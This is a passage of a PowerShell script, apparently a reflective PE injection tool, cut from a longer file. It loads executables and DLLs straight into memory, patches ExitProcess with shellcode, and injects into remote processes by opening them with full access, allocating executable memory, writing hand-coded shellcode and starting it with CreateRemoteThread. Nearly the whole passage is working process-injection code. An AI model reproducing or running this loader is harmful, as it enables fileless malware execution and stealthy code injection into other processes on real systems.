  2044.                         if ($Success -eq $false)
  2045.                         {
  2046.                                 Throw "Call to VirtualProtect failed"
  2047.                         }
  2048.  
  2049.  
  2050.                         $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  2051.                         $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
  2052.                         $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
  2053.  
  2054.  
  2055.  
  2056.                         Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
  2057.                         $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
  2058.                         [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
  2059.                         $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2060.                         Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
  2061.                         $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
  2062.                         [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
  2063.                         $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2064.                         Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
  2065.  
  2066.                         $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2067.                 }
  2068.  
  2069.  
  2070.                 Write-Output $ReturnArray
  2071.         }
  2072.  
  2073.  
  2074.  
  2075.  
  2076.         Function Copy-ArrayOfMemAddresses
  2077.         {
  2078.                 Param(
  2079.                 [Parameter(Position = 0, Mandatory = $true)]
  2080.                 [Array[]]
  2081.                 $CopyInfo,
  2082.  
  2083.                 [Parameter(Position = 1, Mandatory = $true)]
  2084.                 [System.Object]
  2085.                 $Win32Functions,
  2086.  
  2087.                 [Parameter(Position = 2, Mandatory = $true)]
  2088.                 [System.Object]
  2089.                 $Win32Constants
  2090.                 )
  2091.  
  2092.                 [UInt32]$OldProtectFlag = 0
  2093.                 foreach ($Info in $CopyInfo)
  2094.                 {
  2095.                         $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  2096.                         if ($Success -eq $false)
  2097.                         {
  2098.                                 Throw "Call to VirtualProtect failed"
  2099.                         }
  2100.  
  2101.                         $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
  2102.  
  2103.                         $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2104.                 }
  2105.         }
  2106.  
  2107.  
  2108.  
  2109.  
  2110.  
  2111.         Function Get-MemoryProcAddress
  2112.         {
  2113.                 Param(
  2114.                 [Parameter(Position = 0, Mandatory = $true)]
  2115.                 [IntPtr]
  2116.                 $PEHandle,
  2117.  
  2118.                 [Parameter(Position = 1, Mandatory = $true)]
  2119.                 [String]
  2120.                 $FunctionName
  2121.                 )
  2122.  
  2123.                 $Win32Types = Get-Win32Types
  2124.                 $Win32Constants = Get-Win32Constants
  2125.                 $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2126.  
  2127.  
  2128.                 if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
  2129.                 {
  2130.                         return [IntPtr]::Zero
  2131.                 }
  2132.                 $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
  2133.                 $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
  2134.  
  2135.                 for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
  2136.                 {
  2137.  
  2138.                         $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2139.                         $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
  2140.                         $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
  2141.  
  2142.                         if ($Name -ceq $FunctionName)
  2143.                         {
  2144.  
  2145.  
  2146.                                 $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
  2147.                                 $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
  2148.                                 $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2149.                                 $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
  2150.                                 return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
  2151.                         }
  2152.                 }
  2153.  
  2154.                 return [IntPtr]::Zero
  2155.         }
  2156.  
  2157.  
  2158.         Function Invoke-MemoryLoadLibrary
  2159.         {
  2160.                 Param(
  2161.                 [Parameter( Position = 0, Mandatory = $true )]
  2162.                 [Byte[]]
  2163.                 $PEBytes,
  2164.  
  2165.                 [Parameter(Position = 1, Mandatory = $false)]
  2166.                 [String]
  2167.                 $ExeArgs,
  2168.  
  2169.                 [Parameter(Position = 2, Mandatory = $false)]
  2170.                 [IntPtr]
  2171.                 $RemoteProcHandle,
  2172.  
  2173.         [Parameter(Position = 3)]
  2174.         [Bool]
  2175.         $ForceASLR = $false
  2176.                 )
  2177.  
  2178.                 $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  2179.  
  2180.  
  2181.                 $Win32Constants = Get-Win32Constants
  2182.                 $Win32Functions = Get-Win32Functions
  2183.                 $Win32Types = Get-Win32Types
  2184.  
  2185.                 $RemoteLoading = $false
  2186.                 if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2187.                 {
  2188.                         $RemoteLoading = $true
  2189.                 }
  2190.  
  2191.  
  2192.                 Write-Verbose "Getting basic PE information from the file"
  2193.                 $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
  2194.                 $OriginalImageBase = $PEInfo.OriginalImageBase
  2195.                 $NXCompatible = $true
  2196.                 if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
  2197.                 {
  2198.                         Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
  2199.                         $NXCompatible = $false
  2200.                 }
  2201.  
  2202.  
  2203.  
  2204.                 $Process64Bit = $true
  2205.                 if ($RemoteLoading -eq $true)
  2206.                 {
  2207.                         $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  2208.                         $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
  2209.                         if ($Result -eq [IntPtr]::Zero)
  2210.                         {
  2211.                                 Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
  2212.                         }
  2213.  
  2214.                         [Bool]$Wow64Process = $false
  2215.                         $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
  2216.                         if ($Success -eq $false)
  2217.                         {
  2218.                                 Throw "Call to IsWow64Process failed"
  2219.                         }
  2220.  
  2221.                         if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
  2222.                         {
  2223.                                 $Process64Bit = $false
  2224.                         }
  2225.  
  2226.  
  2227.                         $PowerShell64Bit = $true
  2228.                         if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2229.                         {
  2230.                                 $PowerShell64Bit = $false
  2231.                         }
  2232.                         if ($PowerShell64Bit -ne $Process64Bit)
  2233.                         {
  2234.                                 throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
  2235.                         }
  2236.                 }
  2237.                 else
  2238.                 {
  2239.                         if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2240.                         {
  2241.                                 $Process64Bit = $false
  2242.                         }
  2243.                 }
  2244.                 if ($Process64Bit -ne $PEInfo.PE64Bit)
  2245.                 {
  2246.                         Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
  2247.                 }
  2248.  
  2249.  
  2250.  
  2251.                 Write-Verbose "Allocating memory for the PE and write its headers to memory"
  2252.  
  2253.  
  2254.                 [IntPtr]$LoadAddr = [IntPtr]::Zero
  2255.         $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
  2256.                 if ((-not $ForceASLR) -and (-not $PESupportsASLR))
  2257.                 {
  2258.                         Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
  2259.                         [IntPtr]$LoadAddr = $OriginalImageBase
  2260.                 }
  2261.         elseif ($ForceASLR -and (-not $PESupportsASLR))
  2262.         {
  2263.             Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
  2264.         }
  2265.  
  2266.         if ($ForceASLR -and $RemoteLoading)
  2267.         {
  2268.             Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
  2269.         }
  2270.         if ($RemoteLoading -and (-not $PESupportsASLR))
  2271.         {
  2272.             Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
  2273.         }
  2274.  
  2275.                 $PEHandle = [IntPtr]::Zero
  2276.                 $EffectivePEHandle = [IntPtr]::Zero
  2277.                 if ($RemoteLoading -eq $true)
  2278.                 {
  2279.  
  2280.                         $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2281.  
  2282.  
  2283.                         $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2284.                         if ($EffectivePEHandle -eq [IntPtr]::Zero)
  2285.                         {
  2286.                                 Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
  2287.                         }
  2288.                 }
  2289.                 else
  2290.                 {
  2291.                         if ($NXCompatible -eq $true)
  2292.                         {
  2293.                                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2294.                         }
  2295.                         else
  2296.                         {
  2297.                                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2298.                         }
  2299.                         $EffectivePEHandle = $PEHandle
  2300.                 }
  2301.  
  2302.                 [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
  2303.                 if ($PEHandle -eq [IntPtr]::Zero)
  2304.                 {
  2305.                         Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
  2306.                 }
  2307.                 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
  2308.  
  2309.  
  2310.  
  2311.                 Write-Verbose "Getting detailed PE information from the headers loaded in memory"
  2312.                 $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2313.                 $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
  2314.                 $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
  2315.                 Write-Verbose "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)"
  2316.  
  2317.  
  2318.  
  2319.                 Write-Verbose "Copy PE sections in to memory"
  2320.                 Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
  2321.  
  2322.  
  2323.  
  2324.                 Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
  2325.                 Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
  2326.  
  2327.  
  2328.  
  2329.                 Write-Verbose "Import DLL's needed by the PE we are loading"
  2330.                 if ($RemoteLoading -eq $true)
  2331.                 {
  2332.                         Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
  2333.                 }
  2334.                 else
  2335.                 {
  2336.                         Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
  2337.                 }
  2338.  
  2339.  
  2340.  
  2341.                 if ($RemoteLoading -eq $false)
  2342.                 {
  2343.                         if ($NXCompatible -eq $true)
  2344.                         {
  2345.                                 Write-Verbose "Update memory protection flags"
  2346.                                 Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
  2347.                         }
  2348.                         else
  2349.                         {
  2350.                                 Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
  2351.                         }
  2352.                 }
  2353.                 else
  2354.                 {
  2355.                         Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
  2356.                 }
  2357.  
  2358.  
  2359.  
  2360.                 if ($RemoteLoading -eq $true)
  2361.                 {
  2362.                         [UInt32]$NumBytesWritten = 0
  2363.                         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
  2364.                         if ($Success -eq $false)
  2365.                         {
  2366.                                 Throw "Unable to write shellcode to remote process memory."
  2367.                         }
  2368.                 }
  2369.  
  2370.  
  2371.  
  2372.                 if ($PEInfo.FileType -ieq "DLL")
  2373.                 {
  2374.                         if ($RemoteLoading -eq $false)
  2375.                         {
  2376.                                 Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
  2377.                                 $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2378.                                 $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2379.                                 $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2380.  
  2381.                                 $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
  2382.                         }
  2383.                         else
  2384.                         {
  2385.                                 $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2386.  
  2387.                                 if ($PEInfo.PE64Bit -eq $true)
  2388.                                 {
  2389.  
  2390.                                         $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
  2391.                                         $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
  2392.                                         $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  2393.                                 }
  2394.                                 else
  2395.                                 {
  2396.  
  2397.                                         $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
  2398.                                         $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
  2399.                                         $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
  2400.                                 }
  2401.                                 $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
  2402.                                 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  2403.                                 $SCPSMemOriginal = $SCPSMem
  2404.  
  2405.                                 Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
  2406.                                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
  2407.                                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
  2408.                                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2409.                                 Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
  2410.                                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
  2411.                                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
  2412.                                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2413.                                 Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
  2414.                                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
  2415.  
  2416.                                 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2417.                                 if ($RSCAddr -eq [IntPtr]::Zero)
  2418.                                 {
  2419.                                         Throw "Unable to allocate memory in the remote process for shellcode"
  2420.                                 }
  2421.  
  2422.                                 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  2423.                                 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  2424.                                 {
  2425.                                         Throw "Unable to write shellcode to remote process memory."
  2426.                                 }
  2427.  
  2428.                                 $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  2429.                                 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  2430.                                 if ($Result -ne 0)
  2431.                                 {
  2432.                                         Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  2433.                                 }
  2434.  
  2435.                                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  2436.                         }
  2437.                 }
  2438.                 elseif ($PEInfo.FileType -ieq "EXE")
  2439.                 {
  2440.  
  2441.                         [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
  2442.                         [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
  2443.                         $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
  2444.  
  2445.  
  2446.  
  2447.                         [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2448.                         Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
  2449.  
  2450.                         $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
  2451.  
  2452.                         while($true)
  2453.                         {
  2454.                                 [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
  2455.                                 if ($ThreadDone -eq 1)
  2456.                                 {
  2457.                                         Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
  2458.                                         Write-Verbose "EXE thread has completed."
  2459.                                         break
  2460.                                 }
  2461.                                 else
  2462.                                 {
  2463.                                         Start-Sleep -Seconds 1
  2464.                                 }
  2465.                         }
  2466.                 }
  2467.  
  2468.                 return @($PEInfo.PEHandle, $EffectivePEHandle)
  2469.         }
  2470.  
  2471.  
  2472.         Function Invoke-MemoryFreeLibrary
  2473.         {
  2474.                 Param(
  2475.                 [Parameter(Position=0, Mandatory=$true)]
  2476.                 [IntPtr]
  2477.                 $PEHandle
  2478.                 )
  2479.  
  2480.  
  2481.                 $Win32Constants = Get-Win32Constants
  2482.                 $Win32Functions = Get-Win32Functions
  2483.                 $Win32Types = Get-Win32Types
  2484.  
  2485.                 $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2486.  
  2487.  
  2488.                 if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  2489.                 {
  2490.                         [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  2491.  
  2492.                         while ($true)
  2493.                         {
  2494.                                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  2495.  
  2496.  
  2497.                                 if ($ImportDescriptor.Characteristics -eq 0 `
  2498.                                                 -and $ImportDescriptor.FirstThunk -eq 0 `
  2499.                                                 -and $ImportDescriptor.ForwarderChain -eq 0 `
  2500.                                                 -and $ImportDescriptor.Name -eq 0 `
  2501.                                                 -and $ImportDescriptor.TimeDateStamp -eq 0)
  2502.                                 {
  2503.                                         Write-Verbose "Done unloading the libraries needed by the PE"
  2504.                                         break
  2505.                                 }
  2506.  
  2507.                                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
  2508.                                 $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
  2509.  
  2510.                                 if ($ImportDllHandle -eq $null)
  2511.                                 {
  2512.                                         Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
  2513.                                 }
  2514.  
  2515.                                 $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
  2516.                                 if ($Success -eq $false)
  2517.                                 {
  2518.                                         Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
  2519.                                 }
  2520.  
  2521.                                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  2522.                         }
  2523.                 }
  2524.  
  2525.  
  2526.                 Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
  2527.                 $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2528.                 $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2529.                 $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2530.  
  2531.                 $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
  2532.  
  2533.  
  2534.                 $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
  2535.                 if ($Success -eq $false)
  2536.                 {
  2537.                         Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
  2538.                 }
  2539.         }
  2540.  
  2541.  
  2542.         Function Main
  2543.         {
  2544.                 $Win32Functions = Get-Win32Functions
  2545.                 $Win32Types = Get-Win32Types
  2546.                 $Win32Constants =  Get-Win32Constants
  2547.  
  2548.                 $RemoteProcHandle = [IntPtr]::Zero
  2549.  
  2550.  
  2551.                 if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
  2552.                 {
  2553.                         Throw "Can't supply a ProcId and ProcName, choose one or the other"
  2554.                 }
  2555.                 elseif ($ProcName -ne $null -and $ProcName -ne "")
  2556.                 {
  2557.                         $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
  2558.                         if ($Processes.Count -eq 0)
  2559.                         {
  2560.                                 Throw "Can't find process $ProcName"
  2561.                         }
  2562.                         elseif ($Processes.Count -gt 1)
  2563.                         {
  2564.                                 $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
  2565.                                 Write-Output $ProcInfo
  2566.                                 Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
  2567.                         }
  2568.                         else
  2569.                         {
  2570.                                 $ProcId = $Processes[0].ID
  2571.                         }
  2572.                 }
  2573.  
  2574.  
  2575.  
  2576.  
  2577.  
  2578.  
  2579.  
  2580.  
  2581.  
  2582.                 if (($ProcId -ne $null) -and ($ProcId -ne 0))
  2583.                 {
  2584.                         $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
  2585.                         if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2586.                         {
  2587.                                 Throw "Couldn't obtain the handle for process ID: $ProcId"
  2588.                         }
  2589.  
  2590.                         Write-Verbose "Got the handle for the remote process to inject in to"
  2591.                 }
  2592.  
  2593.  
  2594.  
  2595.                 Write-Verbose "Calling Invoke-MemoryLoadLibrary"
  2596.                 $PEHandle = [IntPtr]::Zero
  2597.                 if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2598.                 {
  2599.                         $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
  2600.                 }
  2601.                 else
  2602.                 {
  2603.                         $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
  2604.                 }
  2605.                 if ($PELoadedInfo -eq [IntPtr]::Zero)
  2606.                 {
  2607.                         Throw "Unable to load PE, handle returned is NULL"
  2608.                 }
  2609.  
  2610.                 $PEHandle = $PELoadedInfo[0]
  2611.                 $RemotePEHandle = $PELoadedInfo[1]
  2612.  
  2613.  
  2614.  
  2615.                 $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2616.                 if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
  2617.                 {
  2618.  
  2619.  
  2620.  
  2621.                 switch ($FuncReturnType)
  2622.                 {
  2623.                     'WString' {
  2624.                         Write-Verbose "Calling function with WString return type"
  2625.                                     [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
  2626.                                     if ($WStringFuncAddr -eq [IntPtr]::Zero)
  2627.                                     {
  2628.                                             Throw "Couldn't find function address."
  2629.                                     }
  2630.                                     $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2631.                                     $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
  2632.                                     [IntPtr]$OutputPtr = $WStringFunc.Invoke()
  2633.                                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
  2634.                                     Write-Output $Output
  2635.                     }
  2636.  
